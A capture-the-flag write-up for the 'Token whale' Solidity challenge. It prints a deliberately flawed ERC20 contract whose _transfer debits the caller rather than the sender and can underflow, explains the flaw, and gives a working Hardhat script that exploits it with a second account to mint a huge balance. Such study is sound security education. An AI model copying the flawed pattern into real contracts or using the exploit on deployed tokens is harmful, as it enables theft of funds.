08.Token whale

Token whale

topic

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

analyse

_transfer

• this level is about ERC20, but there is a big mistake in it. Let’s look at _transfer() :
  • _transfer() normally has three parameters but it doesn’t. Always he minus balanceOf[msg.sender] but not the balanceOf[_from], it means that it will cause some problem in transFrom()
  • no check in balanceOf[msg.sender] -= value;, maybe it can cause an integer overflow vulnerable

function _transfer(address to, uint256 value) internal {
    balanceOf[msg.sender] -= value;
    balanceOf[to] += value;

    emit Transfer(msg.sender, to, value);
}

/*
//ERC20 OpenZeppelin implementation
function _transfer(address from, address to, uint256 amount) internal virtual {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(from, to, amount);

    uint256 fromBalance = _balances[from];
    require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
        _balances[from] = fromBalance - amount;
        // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
        // decrementing then incrementing.
        _balances[to] += amount;
    }

    emit Transfer(from, to, amount);

    _afterTokenTransfer(from, to, amount);
}
*/

transferFrom()

this three require is normal and right, it looks easy to pass and no problems in it. after the require, allowance minus, it is also right. But _transfer(to,value) is wrong: We can see from the above analysis, _transfer() will minus msg.sender’s balance but now the from’s balances! It is a logical error.

function transferFrom(address from, address to, uint256 value) public {
    require(balanceOf[from] >= value);
    require(balanceOf[to] + value >= balanceOf[to]);
    require(allowance[from][msg.sender] >= value);

    allowance[from][msg.sender] -= value;
    _transfer(to, value);
}

this is the first possible attack thread:

1.The player has 1000 ETH at first, and then we can bring in another account “attacker” to collaborate together

2.player transfers 1000 ETH to attacker.【player: 0 ETH, attacker: 1000 ETH】

3.attacker approves player 1000 ETH.【allowance [msg.sender] [spender] = 1000】

4.player transferFrom() 1000 ETH to address(0)【because player 0 ETH , _transfer() will minus 1000 ETH from player but now attacker! It will cause an integer overflow】

solution

import { expect } from "chai";
import { ethers } from "hardhat";

describe("TokenWhaleChallenge", () => {
  it("Solves the challenge", async () => {
    //1.The player has 1000 ETH at first, and then we can bring in another account "attacker" to collaborate together
    const [player, attacker] = await ethers.getSigners();

    const playerAddress = await player.getAddress();
    const challengeFactory = await ethers.getContractFactory("TokenWhaleChallenge");
    //【player: 1000 ETH】
    const challengeContract = await challengeFactory.deploy(playerAddress);
    await challengeContract.deployed();

    //2.player transfers 1000 ETH to attacker.【player: 0 ETH, attacker: 1000 ETH】
    const transferTx = await challengeContract.connect(player).transfer(attacker.address, 1000);
    await transferTx.wait();
      
    //3.attacker approves player 1000 ETH.【allowance [msg.sender] [spender] = 1000】
    const approveTx = await challengeContract.connect(attacker).approve(player.address, 1000);
    await approveTx.wait();

    //4.player transferFrom() 1000 ETH to address(0)【because player has 0 ETH , `_transfer()` will minus 1000 ETH from player but now attacker! It will cause an integer overflow】
    const transferFromTx = await challengeContract
      .connect(player)
      .transferFrom(attacker.address, "0x0000000000000000000000000000000000000000", 1000);
    await transferFromTx.wait();

    expect(await challengeContract.isComplete()).to.be.true;
  });
});